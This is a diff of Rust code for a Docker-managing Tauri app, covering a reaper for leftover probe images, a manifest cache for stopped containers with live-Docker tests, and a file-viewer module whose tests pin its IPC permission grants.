fn probe_image_names_are_unique_per_call_and_reapable_by_prefix() {
|
||||
let id = "75993e6d5e1ab473b029a408c5ff0339";
|
||||
let a = get_probe_image_name(id);
|
||||
let b = get_probe_image_name(id);
|
||||
assert_ne!(a, b, "two probes of one container must not share a tag");
|
||||
|
||||
// The prefix is the reaper's only handle on a leftover, so every name
|
||||
// has to carry it — and it must not be the snapshot namespace, which is
|
||||
// what a project is rebuilt from.
|
||||
assert!(a.starts_with(PROBE_IMAGE_PREFIX), "{}", a);
|
||||
assert!(!a.starts_with("triple-c-snapshot-"), "{}", a);
|
||||
// Traceable back to its container, which is the point of the prefix.
|
||||
assert!(a.contains("75993e6d5e1a"), "{}", a);
|
||||
assert!(a.ends_with(":latest"), "{}", a);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_scrub_report_only_claims_success_when_nothing_is_left() {
|
||||
let clean = SnapshotScrubReport {
|
||||
|
||||
@@ -434,7 +434,8 @@ fn container_join(dir: &str, name: &str) -> String {
|
||||
/// Write `data` into the container at `<dest_dir>/<file_name>` with `mode`.
|
||||
///
|
||||
/// For small, generated files — migration uses it for the `tar -T` include
|
||||
/// list, which can be too long to pass as argv. Anything large should be
|
||||
/// list, which can be too long to pass as argv, and the marketplace sync for
|
||||
/// its payload tar and script. Anything large should be
|
||||
/// streamed through an attached exec's stdin instead, since this buffers the
|
||||
/// whole payload in memory twice (once raw, once tarred).
|
||||
pub async fn upload_bytes_to_container(
|
||||
@@ -446,9 +447,10 @@ pub async fn upload_bytes_to_container(
|
||||
) -> Result<String, String> {
|
||||
let docker = get_docker()?;
|
||||
|
||||
// Root-owned on purpose: the only caller is migration, whose `tar -T` list
|
||||
// is read back as root. The mtime still gets stamped so the file doesn't
|
||||
// read as 1970.
|
||||
// Root-owned on purpose: migration's `tar -T` list is read back as root,
|
||||
// and the marketplace sync uploads into a `claude`-owned directory it
|
||||
// prepares first, so `claude` can still read and delete the files. The
|
||||
// mtime still gets stamped so the file doesn't read as 1970.
|
||||
let tar_buf = build_single_file_tar(file_name, data, mode, 0, 0, now_epoch_secs())?;
|
||||
|
||||
docker
|
||||
|
||||
@@ -886,6 +886,100 @@ pub async fn reap_probe_containers() {
|
||||
}
|
||||
}
|
||||
|
||||
/// Remove throwaway images left behind by a staleness probe of a stopped
|
||||
/// container — [`super::container::commit_container_for_probe`]'s commits.
|
||||
///
|
||||
/// **Load-bearing, not tidying.** A probe image is *tagged*, because bollard
|
||||
/// gives no image id back from a commit and there has to be something to probe.
|
||||
/// Tagged means not dangling, so [`super::container::sweep_orphaned_snapshots`]
|
||||
/// — which collects every other kind of orphan this app can leave — will never
|
||||
/// see one. Without this, a probe that dies between its commit and its own
|
||||
/// cleanup (SIGKILL, a crash, a 409 from a concurrent remove) strands a
|
||||
/// multi-gigabyte image that **no code path can ever reclaim**, and there is no
|
||||
/// UI to find it either. That is the one leak in this app with no floor on it,
|
||||
/// so this runs at startup beside [`reap_probe_containers`].
|
||||
///
|
||||
/// Age-gated for exactly the reason that one is: `reference=` is a daemon-wide
|
||||
/// filter, so a second copy of the app probing a project on the same daemon has
|
||||
/// images matching this glob, and removing one mid-capture fails that probe with
|
||||
/// "No such image" — the bogus `probe_error` the staleness work exists to get
|
||||
/// rid of. In-process state cannot see the other instance, so age is the only
|
||||
/// brake, and [`PROBE_REAP_MIN_AGE_SECS`] is already the right one: a probe is a
|
||||
/// `find` over a root filesystem, not a multi-minute job.
|
||||
///
|
||||
/// Never fails the caller. Housekeeping, like every other sweep here.
|
||||
pub async fn reap_probe_images() {
|
||||
use bollard::image::{ListImagesOptions, RemoveImageOptions};
|
||||
|
||||
let docker = match get_docker() {
|
||||
Ok(d) => d,
|
||||
Err(e) => {
|
||||
log::warn!("Could not reap leftover probe images: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let filters = HashMap::from([(
|
||||
"reference".to_string(),
|
||||
vec![format!("{}*", super::container::PROBE_IMAGE_PREFIX)],
|
||||
)]);
|
||||
let images = match docker
|
||||
.list_images(Some(ListImagesOptions {
|
||||
all: false,
|
||||
filters,
|
||||
..Default::default()
|
||||
}))
|
||||
.await
|
||||
{
|
||||
Ok(images) => images,
|
||||
Err(e) => {
|
||||
log::warn!("Could not list leftover probe images: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let now = chrono::Utc::now().timestamp();
|
||||
for image in images {
|
||||
// Unlike a container summary, an image summary always carries a
|
||||
// `Created`, so there is no unknown-age case to defend against here.
|
||||
if now - image.created < PROBE_REAP_MIN_AGE_SECS {
|
||||
log::info!(
|
||||
"Leaving probe image {:?} alone — it is younger than {} minutes, so it may belong \
|
||||
to another Triple-C instance's live probe",
|
||||
image.repo_tags,
|
||||
PROBE_REAP_MIN_AGE_SECS / 60
|
||||
);
|
||||
continue;
|
||||
}
|
||||
// By **tag**, never by image id. A `force` removal by id untags an
|
||||
// image everywhere, so an id that happens to carry another name loses
|
||||
// that name too — which is how a test fixture that tagged
|
||||
// `alpine:latest` into this namespace deleted the user's alpine. A real
|
||||
// leftover has exactly the one probe tag, so removing the tag removes
|
||||
// the image; anything else keeps whatever other names it has.
|
||||
for tag in image
|
||||
.repo_tags
|
||||
.iter()
|
||||
.filter(|t| t.starts_with(super::container::PROBE_IMAGE_PREFIX))
|
||||
{
|
||||
log::info!("Removing leftover probe image {}", tag);
|
||||
if let Err(e) = docker
|
||||
.remove_image(
|
||||
tag,
|
||||
Some(RemoveImageOptions {
|
||||
force: true,
|
||||
noprune: false,
|
||||
}),
|
||||
None,
|
||||
)
|
||||
.await
|
||||
{
|
||||
log::warn!("Could not remove leftover probe image {}: {}", tag, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// How old a `triple-c.probe=migration` container must be before
|
||||
/// [`reap_probe_containers`] will force-remove it, in seconds.
|
||||
///
|
||||
@@ -993,6 +1087,119 @@ pub async fn manifest_from_container(container_id: &str) -> Result<Manifest, Str
|
||||
Ok(parse_manifest(&out))
|
||||
}
|
||||
|
||||
/// Cached stopped-container manifests, keyed by container id, each paired with
|
||||
/// the container's `FinishedAt` at the time it was captured.
|
||||
///
|
||||
/// **Sound because a stopped container's writable layer cannot change.** Nothing
|
||||
/// can write to it while it is not running, so a manifest captured after it
|
||||
/// stopped stays true until it is started again — and `FinishedAt` moves on
|
||||
/// every stop, which is what makes the key exact rather than merely plausible.
|
||||
///
|
||||
/// This exists because `get_container_staleness` is called from a `useEffect`
|
||||
/// that fires whenever the container settles, so simply opening a stopped
|
||||
/// project's Overview probes it. Uncached that meant a `docker commit` of the
|
||||
/// whole writable layer per visit — measured at 44 s on a real project — where
|
||||
/// before this feature the same visit cost one throwaway container or nothing at
|
||||
/// all. A regression like that is not worth the answer it buys.
|
||||
///
|
||||
/// Capped, because a `Manifest` of a real container is a few MB: this only has
|
||||
/// to serve "the project whose page is open", so a handful of entries is the
|
||||
/// whole working set and the oldest is dropped past that.
|
||||
static STOPPED_MANIFEST_CACHE: std::sync::Mutex<
|
||||
Option<Vec<(String, String, Manifest)>>,
|
||||
> = std::sync::Mutex::new(None);
|
||||
|
||||
/// How many stopped-container manifests [`STOPPED_MANIFEST_CACHE`] keeps.
|
||||
const STOPPED_MANIFEST_CACHE_MAX: usize = 4;
|
||||
|
||||
/// `FinishedAt` for a container, the cache's validity token. `None` when it
|
||||
/// cannot be read, which is never treated as a hit.
|
||||
async fn container_finished_at(container_id: &str) -> Option<String> {
|
||||
let docker = get_docker().ok()?;
|
||||
docker
|
||||
.inspect_container(container_id, None)
|
||||
.await
|
||||
.ok()?
|
||||
.state?
|
||||
.finished_at
|
||||
.filter(|s| !s.is_empty())
|
||||
}
|
||||
|
||||
/// Capture a [`Manifest`] from a **stopped** container, reusing a cached one
|
||||
/// when the container has not been started since it was taken.
|
||||
///
|
||||
/// See [`STOPPED_MANIFEST_CACHE`] for why this is exact and why it is needed.
|
||||
pub async fn manifest_from_stopped_container_cached(
|
||||
container_id: &str,
|
||||
) -> Result<Manifest, String> {
|
||||
let finished_at = container_finished_at(container_id).await;
|
||||
|
||||
if let Some(token) = &finished_at {
|
||||
let guard = STOPPED_MANIFEST_CACHE.lock();
|
||||
if let Ok(cache) = guard {
|
||||
if let Some(entries) = cache.as_ref() {
|
||||
if let Some((_, _, manifest)) = entries
|
||||
.iter()
|
||||
.find(|(id, tok, _)| id == container_id && tok == token)
|
||||
{
|
||||
log::debug!(
|
||||
"Reusing the cached manifest for stopped container {}",
|
||||
container_id
|
||||
);
|
||||
return Ok(manifest.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let manifest = manifest_from_stopped_container(container_id).await?;
|
||||
|
||||
// Only cacheable if the container's state could be read at all; an unknown
|
||||
// `FinishedAt` means there is no token that could later be compared.
|
||||
if let Some(token) = finished_at {
|
||||
if let Ok(mut cache) = STOPPED_MANIFEST_CACHE.lock() {
|
||||
let entries = cache.get_or_insert_with(Vec::new);
|
||||
entries.retain(|(id, _, _)| id != container_id);
|
||||
entries.push((container_id.to_string(), token, manifest.clone()));
|
||||
while entries.len() > STOPPED_MANIFEST_CACHE_MAX {
|
||||
entries.remove(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(manifest)
|
||||
}
|
||||
|
||||
/// Capture a [`Manifest`] from a **stopped** container.
|
||||
///
|
||||
/// Commits the container's writable layer to a throwaway image, probes that,
|
||||
/// and removes it. This is as current as [`manifest_from_container`] — it reads
|
||||
/// the same filesystem — and it is why a stopped project no longer has to fall
|
||||
/// back to its snapshot image, which may not exist at all and lags the
|
||||
/// container by everything installed since the last commit when it does.
|
||||
///
|
||||
/// The image is removed on every path, including a failed probe. See
|
||||
/// [`super::container::commit_container_for_probe`] for what a crash in the
|
||||
/// window between the two costs, and why it is bounded.
|
||||
pub async fn manifest_from_stopped_container(container_id: &str) -> Result<Manifest, String> {
|
||||
let image = super::container::commit_container_for_probe(container_id).await?;
|
||||
|
||||
let manifest = manifest_from_image(&image)
|
||||
.await
|
||||
.map_err(|e| format!("Probe of the stopped container did not complete: {}", e));
|
||||
|
||||
if let Err(e) = super::container::remove_image_by_name(&image).await {
|
||||
log::warn!(
|
||||
"Could not remove the staleness probe's throwaway image {}: {} — `reap_probe_images` \
|
||||
collects it at the next app start; the orphan sweep never will, because it is tagged",
|
||||
image,
|
||||
e
|
||||
);
|
||||
}
|
||||
|
||||
manifest
|
||||
}
|
||||
|
||||
/// The image ID (`sha256:…`) of a local image, or `None` if it is not present.
|
||||
///
|
||||
/// Deliberately the **ID**, not a repo digest: locally built images and custom
|
||||
@@ -2146,4 +2353,258 @@ mod tests {
|
||||
assert!(!pin_is_reapable("pre-migration-handmade", false, ancient, &now));
|
||||
assert!(!pin_is_reapable("latest", false, ancient, &now));
|
||||
}
|
||||
|
||||
// ── Live Docker ─────────────────────────────────────────────────────────
|
||||
|
||||
/// The cache serves a second read of an unchanged stopped container, and —
|
||||
/// the half that matters — stops serving it the moment the container is
|
||||
/// started and stopped again. If invalidation were wrong this would report a
|
||||
/// filesystem the project no longer has, and a migration would be planned
|
||||
/// against it.
|
||||
///
|
||||
/// ```text
|
||||
/// cargo test -- --ignored --nocapture stopped_manifest_cache
|
||||
/// ```
|
||||
#[cfg(unix)]
|
||||
#[tokio::test]
|
||||
#[ignore = "needs a Docker daemon; creates, commits and removes a throwaway container"]
|
||||
async fn the_stopped_manifest_cache_survives_a_reread_but_not_a_restart() {
|
||||
fn docker_cli(args: &[&str]) -> String {
|
||||
let out = std::process::Command::new("docker")
|
||||
.args(args)
|
||||
.output()
|
||||
.expect("docker CLI");
|
||||
assert!(
|
||||
out.status.success(),
|
||||
"docker {:?} failed: {}",
|
||||
args,
|
||||
String::from_utf8_lossy(&out.stderr)
|
||||
);
|
||||
String::from_utf8_lossy(&out.stdout).trim().to_string()
|
||||
}
|
||||
|
||||
let image = std::env::var("TRIPLE_C_TEST_IMAGE")
|
||||
.unwrap_or_else(|_| "ghcr.io/shadowdao/triple-c-sandbox:latest".to_string());
|
||||
let first = format!("/opt/cache-marker-a-{}", std::process::id());
|
||||
let second = format!("/opt/cache-marker-b-{}", std::process::id());
|
||||
|
||||
let id = docker_cli(&[
|
||||
"run", "-d", "--label", "triple-c.managed=true",
|
||||
"--entrypoint", "/bin/sh",
|
||||
&image, "-c", "sleep 600",
|
||||
]);
|
||||
let cleanup = || {
|
||||
let _ = std::process::Command::new("docker")
|
||||
.args(["rm", "-f", &id])
|
||||
.output();
|
||||
};
|
||||
|
||||
docker_cli(&["exec", &id, "mkdir", "-p", &first]);
|
||||
docker_cli(&["stop", "-t", "1", &id]);
|
||||
|
||||
let t0 = std::time::Instant::now();
|
||||
let cold = manifest_from_stopped_container_cached(&id).await;
|
||||
let cold_ms = t0.elapsed().as_millis();
|
||||
|
||||
let t1 = std::time::Instant::now();
|
||||
let warm = manifest_from_stopped_container_cached(&id).await;
|
||||
let warm_ms = t1.elapsed().as_millis();
|
||||
|
||||
// Restart, change the filesystem, stop again — `FinishedAt` moves.
|
||||
docker_cli(&["start", &id]);
|
||||
docker_cli(&["exec", &id, "mkdir", "-p", &second]);
|
||||
docker_cli(&["stop", "-t", "1", &id]);
|
||||
let after_restart = manifest_from_stopped_container_cached(&id).await;
|
||||
|
||||
cleanup();
|
||||
|
||||
let has = |m: &Manifest, p: &str| m.paths.iter().any(|e| e.path == p && e.is_dir());
|
||||
|
||||
let cold = cold.expect("cold read");
|
||||
let warm = warm.expect("warm read");
|
||||
let after_restart = after_restart.expect("read after restart");
|
||||
|
||||
assert!(has(&cold, &first), "cold read missed {}", first);
|
||||
assert!(has(&warm, &first), "warm read missed {}", first);
|
||||
println!("cold {} ms, warm {} ms", cold_ms, warm_ms);
|
||||
assert!(
|
||||
warm_ms * 5 < cold_ms.max(5),
|
||||
"the second read cost {} ms against a cold {} ms — it re-committed \
|
||||
instead of using the cache",
|
||||
warm_ms,
|
||||
cold_ms
|
||||
);
|
||||
|
||||
// The restart must have invalidated it: the new directory has to show up.
|
||||
assert!(
|
||||
has(&after_restart, &second),
|
||||
"a restart did not invalidate the cache — {} is missing, so this is \
|
||||
a stale manifest of a filesystem the container no longer has",
|
||||
second
|
||||
);
|
||||
assert!(has(&after_restart, &first), "the restart lost {}", first);
|
||||
}
|
||||
|
||||
/// The reaper finds a leftover probe image by prefix and — crucially —
|
||||
/// refuses to remove a young one, because that image may be another
|
||||
/// Triple-C instance's live probe. Only a real daemon can say whether the
|
||||
/// `reference=` glob matches the names `get_probe_image_name` produces.
|
||||
///
|
||||
/// The fixture is **committed**, not tagged and not built. An image's
|
||||
/// `Created` is its own, not its tag's, so tagging something already on disk
|
||||
/// into this namespace yields a fixture the reaper is right to call ancient
|
||||
/// — and BuildKit stamps a fixed epoch on `docker build` output, so a built
|
||||
/// one looks ancient too. A commit stamps *now*, verified against Engine
|
||||
/// 29.6, which is also how real probe images get their age.
|
||||
///
|
||||
/// Both of those mistakes were made here first, and one of them deleted an
|
||||
/// unrelated `alpine:latest` — which is why `reap_probe_images` removes by
|
||||
/// tag rather than by image id.
|
||||
///
|
||||
/// ```text
|
||||
/// cargo test -- --ignored --nocapture reaper_spares
|
||||
/// ```
|
||||
#[cfg(unix)]
|
||||
#[tokio::test]
|
||||
#[ignore = "needs a Docker daemon; builds and removes a throwaway image"]
|
||||
async fn the_reaper_spares_a_probe_image_young_enough_to_be_someone_elses() {
|
||||
use std::process::Command;
|
||||
|
||||
fn docker_out(args: &[&str]) -> std::process::Output {
|
||||
Command::new("docker").args(args).output().expect("docker CLI")
|
||||
}
|
||||
|
||||
let base = std::env::var("TRIPLE_C_TEST_IMAGE")
|
||||
.unwrap_or_else(|_| "alpine:latest".to_string());
|
||||
let name = crate::docker::container::get_probe_image_name("reapertest01234");
|
||||
|
||||
// A never-started container is enough to commit from, and leaves the
|
||||
// daemon's run state alone entirely.
|
||||
let created = docker_out(&["create", &base, "true"]);
|
||||
assert!(
|
||||
created.status.success(),
|
||||
"could not create the fixture container from {}: {}",
|
||||
base,
|
||||
String::from_utf8_lossy(&created.stderr)
|
||||
);
|
||||
let cid = String::from_utf8_lossy(&created.stdout).trim().to_string();
|
||||
|
||||
let committed = docker_out(&["commit", "--pause=false", &cid, &name]);
|
||||
let _ = docker_out(&["rm", "-f", &cid]);
|
||||
assert!(
|
||||
committed.status.success(),
|
||||
"could not commit the fixture image: {}",
|
||||
String::from_utf8_lossy(&committed.stderr)
|
||||
);
|
||||
|
||||
reap_probe_images().await;
|
||||
|
||||
let still_there = Command::new("docker")
|
||||
.args(["image", "inspect", &name])
|
||||
.output()
|
||||
.expect("docker image inspect")
|
||||
.status
|
||||
.success();
|
||||
|
||||
let _ = Command::new("docker").args(["rmi", &name]).output();
|
||||
|
||||
assert!(
|
||||
still_there,
|
||||
"a probe image committed seconds ago was reaped — that is another \
|
||||
instance's live probe being broken, see PROBE_REAP_MIN_AGE_SECS"
|
||||
);
|
||||
}
|
||||
|
||||
/// A *stopped* container is readable, and what comes back is its writable
|
||||
/// layer rather than the image it was created from. This is the whole point
|
||||
/// of the function: the base image cannot answer it, and the project may
|
||||
/// well have no snapshot image at all.
|
||||
///
|
||||
/// Also asserts the throwaway commit leaves nothing behind, which no unit
|
||||
/// test can. It has to assert on the `triple-c-probe-*` tags specifically:
|
||||
/// the probe image is *tagged*, so a leak never shows up as a dangling
|
||||
/// image and a dangling-set assertion here would pass either way.
|
||||
///
|
||||
/// Ignored because it needs Docker and commits a container; run it with
|
||||
///
|
||||
/// ```text
|
||||
/// cargo test -- --ignored --nocapture stopped_container
|
||||
/// ```
|
||||
#[cfg(unix)]
|
||||
#[tokio::test]
|
||||
#[ignore = "needs a Docker daemon; creates, commits and removes a throwaway container"]
|
||||
async fn a_stopped_container_is_read_from_its_writable_layer() {
|
||||
fn docker_cli(args: &[&str]) -> String {
|
||||
let out = std::process::Command::new("docker")
|
||||
.args(args)
|
||||
.output()
|
||||
.expect("docker CLI");
|
||||
assert!(
|
||||
out.status.success(),
|
||||
"docker {:?} failed: {}",
|
||||
args,
|
||||
String::from_utf8_lossy(&out.stderr)
|
||||
);
|
||||
String::from_utf8_lossy(&out.stdout).trim().to_string()
|
||||
}
|
||||
fn probe_images() -> Vec<String> {
|
||||
let mut ids: Vec<String> = docker_cli(&[
|
||||
"images", "-q",
|
||||
"--filter",
|
||||
&format!("reference={}*", crate::docker::container::PROBE_IMAGE_PREFIX),
|
||||
])
|
||||
.lines()
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty())
|
||||
.collect();
|
||||
ids.sort();
|
||||
ids
|
||||
}
|
||||
|
||||
let image = std::env::var("TRIPLE_C_TEST_IMAGE")
|
||||
.unwrap_or_else(|_| "ghcr.io/shadowdao/triple-c-sandbox:latest".to_string());
|
||||
// A marker only the writable layer can carry, under a MANIFEST_ROOTS root.
|
||||
let marker = format!("/opt/probe-marker-{}", std::process::id());
|
||||
|
||||
// Another instance's live probe images are allowed to exist; what must
|
||||
// hold is that this probe adds none of its own.
|
||||
let before = probe_images();
|
||||
|
||||
let id = docker_cli(&[
|
||||
"run", "-d", "--label", "triple-c.managed=true",
|
||||
"--entrypoint", "/bin/sh",
|
||||
&image, "-c", "sleep 300",
|
||||
]);
|
||||
let cleanup = |id: &str| {
|
||||
let _ = std::process::Command::new("docker")
|
||||
.args(["rm", "-f", id])
|
||||
.output();
|
||||
};
|
||||
|
||||
docker_cli(&["exec", &id, "mkdir", "-p", &marker]);
|
||||
docker_cli(&["stop", "-t", "1", &id]);
|
||||
|
||||
let result = manifest_from_stopped_container(&id).await;
|
||||
|
||||
cleanup(&id);
|
||||
|
||||
let manifest = result.expect("a stopped container must be probeable");
|
||||
assert!(
|
||||
manifest.paths.iter().any(|e| e.path == marker && e.is_dir()),
|
||||
"the probe read the image, not the container's writable layer: {} missing",
|
||||
marker
|
||||
);
|
||||
// Non-empty package sets prove the probe script really ran, rather than
|
||||
// parsing an empty transcript into an empty-but-Ok manifest.
|
||||
assert!(
|
||||
!manifest.apt_manual.is_empty(),
|
||||
"apt-mark showmanual came back empty, so the probe did not run"
|
||||
);
|
||||
|
||||
assert_eq!(
|
||||
probe_images(),
|
||||
before,
|
||||
"the throwaway probe image was not cleaned up"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
//! The terminal file viewer: one OS window per clicked path.
|
||||
//!
|
||||
//! Every window is a `file-viewer-<n>` label registered in [`registry::ViewerRegistry`];
|
||||
//! the commands in `commands/file_viewer_commands.rs` gate on the label and act only on
|
||||
//! the caller's own entry, which is why nothing here takes a path from a window.
|
||||
//!
|
||||
//! `file-viewer-*` is also the `windows` glob of `capabilities/file-viewer.json`, which grants
|
||||
//! exactly the five `viewer_*` commands and nothing else. Labels are minted only here; a window
|
||||
//! created anywhere else with a matching label would inherit those grants.
|
||||
|
||||
pub mod poll;
|
||||
pub mod registry;
|
||||
pub mod resolve;
|
||||
pub mod window;
|
||||
pub mod write;
|
||||
|
||||
/// Spec §3: the 21st click is refused with a toast.
|
||||
pub const MAX_VIEWER_WINDOWS: usize = 20;
|
||||
pub const VIEWER_LABEL_PREFIX: &str = "file-viewer-";
|
||||
|
||||
pub fn is_viewer_label(label: &str) -> bool {
|
||||
label
|
||||
.strip_prefix(VIEWER_LABEL_PREFIX)
|
||||
.is_some_and(|rest| !rest.is_empty() && rest.bytes().all(|b| b.is_ascii_digit()))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn only_numbered_viewer_labels_pass() {
|
||||
assert!(is_viewer_label("file-viewer-1"));
|
||||
assert!(is_viewer_label("file-viewer-20"));
|
||||
assert!(!is_viewer_label("file-viewer-"));
|
||||
assert!(!is_viewer_label("file-viewer-x"));
|
||||
assert!(!is_viewer_label("main"));
|
||||
assert!(!is_viewer_label("browser-view-abc"));
|
||||
}
|
||||
|
||||
/// Both Vite's dev server and Tauri's asset lookup fall back to `index.html`
|
||||
/// when `viewer.html` is missing, so a broken entry opens the *main app* in
|
||||
/// the viewer window with no error anywhere. Pin the two files the entry needs.
|
||||
#[test]
|
||||
fn the_viewer_entry_exists_and_is_a_vite_input() {
|
||||
let app_dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("..");
|
||||
let html = std::fs::read_to_string(app_dir.join("viewer.html")).expect("app/viewer.html");
|
||||
assert!(html.contains("/src/viewer/main.tsx"));
|
||||
assert!(!html.contains("<style"), "an inline <style> makes Tauri add a style nonce, which disables 'unsafe-inline' and breaks CodeMirror");
|
||||
let vite = std::fs::read_to_string(app_dir.join("vite.config.ts")).expect("vite.config.ts");
|
||||
assert!(vite.contains("viewer.html"), "vite.config.ts must list viewer.html in build.rollupOptions.input");
|
||||
}
|
||||
|
||||
#[derive(serde::Deserialize)]
|
||||
struct Capability {
|
||||
windows: Vec<String>,
|
||||
permissions: Vec<String>,
|
||||
}
|
||||
|
||||
/// Task 12: a substring check on the capability JSON (the form this test used to take)
|
||||
/// only proves a permission string appears *somewhere* in the file — it would not catch
|
||||
/// `windows` widened past `file-viewer-*`, nor an extra grant slipped in beside the ones
|
||||
/// this window actually needs. Parse both capability files and pin `windows`/`permissions`
|
||||
/// exactly, so a later widening of either file is a failing test, not a silent threat-model
|
||||
/// drift — this file *is* the reviewed threat model of record (see its own description).
|
||||
#[test]
|
||||
fn the_viewer_capability_grants_exactly_the_reviewed_windows_and_permissions() {
|
||||
let app_dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("..");
|
||||
let raw = std::fs::read_to_string(app_dir.join("src-tauri/capabilities/file-viewer.json"))
|
||||
.expect("capabilities/file-viewer.json");
|
||||
let cap: Capability = serde_json::from_str(&raw).expect("file-viewer.json must be valid JSON");
|
||||
|
||||
assert_eq!(cap.windows, vec!["file-viewer-*"]);
|
||||
|
||||
let mut permissions = cap.permissions;
|
||||
permissions.sort();
|
||||
assert_eq!(
|
||||
permissions,
|
||||
vec![
|
||||
// App commands (bare): the five viewer commands, and nothing else — build.rs
|
||||
// refuses any other bare grant in this file.
|
||||
"allow-viewer-choose-file",
|
||||
"allow-viewer-get-state",
|
||||
"allow-viewer-poll-file",
|
||||
"allow-viewer-read-file",
|
||||
"allow-viewer-write-file",
|
||||
// Plugin/core grants, unchanged.
|
||||
"core:event:allow-listen",
|
||||
"core:event:allow-unlisten",
|
||||
"core:webview:allow-internal-toggle-devtools",
|
||||
"core:window:allow-destroy",
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
/// The main window's capability file must stay scoped to `main` — a `windows` list that
|
||||
/// grew to include `file-viewer-*` would hand every viewer window the dialog/store surface
|
||||
/// `default.json` grants `main`, which is a much larger IPC surface than the one
|
||||
/// `file-viewer.json` was deliberately kept small.
|
||||
#[test]
|
||||
fn the_default_capability_is_scoped_to_the_main_window_only() {
|
||||
let app_dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("..");
|
||||
let raw = std::fs::read_to_string(app_dir.join("src-tauri/capabilities/default.json"))
|
||||
.expect("capabilities/default.json");
|
||||
let cap: Capability = serde_json::from_str(&raw).expect("default.json must be valid JSON");
|
||||
|
||||
assert_eq!(cap.windows, vec!["main"]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
//! One cheap exec per tick: the file's full hash and size, or "gone".
|
||||
//!
|
||||
//! This is what the 2 s poll asks, instead of re-downloading up to 1 MiB of archive per
|
||||
//! window per tick. The hash is coreutils `sha256sum`, which equals `write::sha256_hex`
|
||||
//! of the bytes whenever the read was not truncated — the only case in which the
|
||||
//! editor uses a hash as its save base.
|
||||
|
||||
use serde::Serialize;
|
||||
|
||||
use crate::docker::exec::exec_oneshot_streams_as;
|
||||
|
||||
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
|
||||
pub struct ViewerPoll {
|
||||
pub exists: bool,
|
||||
pub hash: Option<String>,
|
||||
pub size: Option<u64>,
|
||||
}
|
||||
|
||||
/// Exit 4 = gone. A failure after `test -f` passed is re-checked: if the file vanished
|
||||
/// in between (deleted while being hashed), that is "gone", not an error (M6).
|
||||
pub const POLL_SCRIPT: &str = r#"test -f "$1" || exit 4
|
||||
sha256sum -- "$1" && stat -c %s -- "$1" && exit 0
|
||||
test -f "$1" || exit 4
|
||||
exit 1"#;
|
||||
|
||||
pub fn parse_poll_output(code: i64, stdout: &str) -> ViewerPoll {
|
||||
if code == 4 {
|
||||
return ViewerPoll { exists: false, hash: None, size: None };
|
||||
}
|
||||
let mut lines = stdout.lines();
|
||||
let hash = lines
|
||||
.next()
|
||||
.and_then(|l| l.split_whitespace().next())
|
||||
// GNU `sha256sum` prefixes the line with `\` when the name contains a
|
||||
// backslash or a newline; strip it before validating the hex (P15).
|
||||
.map(|h| h.trim_start_matches('\\'))
|
||||
.filter(|h| super::write::is_sha256_hex(h))
|
||||
.map(str::to_string);
|
||||
let size = lines.next().and_then(|l| l.trim().parse::<u64>().ok());
|
||||
ViewerPoll { exists: true, hash, size }
|
||||
}
|
||||
|
||||
pub async fn poll_file(container_id: &str, container_path: &str) -> Result<ViewerPoll, String> {
|
||||
let cmd = vec![
|
||||
"sh".to_string(),
|
||||
"-c".to_string(),
|
||||
POLL_SCRIPT.to_string(),
|
||||
"poll".to_string(),
|
||||
container_path.to_string(),
|
||||
];
|
||||
let (stdout, stderr, code) =
|
||||
exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
|
||||
if code != 0 && code != 4 {
|
||||
return Err(format!(
|
||||
"Could not check the file: {}",
|
||||
crate::commands::file_commands::clip_container_text(&stderr)
|
||||
));
|
||||
}
|
||||
Ok(parse_poll_output(code, &stdout))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn a_present_file_yields_hash_and_size() {
|
||||
let out = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /workspace/x\n42\n";
|
||||
assert_eq!(
|
||||
parse_poll_output(0, out),
|
||||
ViewerPoll {
|
||||
exists: true,
|
||||
hash: Some("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855".into()),
|
||||
size: Some(42)
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exit_four_means_gone() {
|
||||
assert_eq!(parse_poll_output(4, ""), ViewerPoll { exists: false, hash: None, size: None });
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn garbage_is_not_a_hash() {
|
||||
let p = parse_poll_output(0, "not a hash /x\nabc\n");
|
||||
assert_eq!(p, ViewerPoll { exists: true, hash: None, size: None });
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_script_tests_existence_before_hashing() {
|
||||
assert!(POLL_SCRIPT.contains("test -f \"$1\" || exit 4"));
|
||||
assert!(POLL_SCRIPT.contains("sha256sum -- \"$1\""));
|
||||
assert!(POLL_SCRIPT.contains("stat -c %s -- \"$1\""));
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn run_poll_script(path_env: Option<&str>, target: &std::path::Path) -> (i64, String, String) {
|
||||
let mut cmd = std::process::Command::new("sh");
|
||||
if let Some(p) = path_env {
|
||||
cmd.env("PATH", p);
|
||||
}
|
||||
let out = cmd.arg("-c").arg(POLL_SCRIPT).arg("poll").arg(target).output().unwrap();
|
||||
(
|
||||
out.status.code().unwrap_or(-1) as i64,
|
||||
String::from_utf8_lossy(&out.stdout).into_owned(),
|
||||
String::from_utf8_lossy(&out.stderr).into_owned(),
|
||||
)
|
||||
}
|
||||
|
||||
#[cfg(unix)]
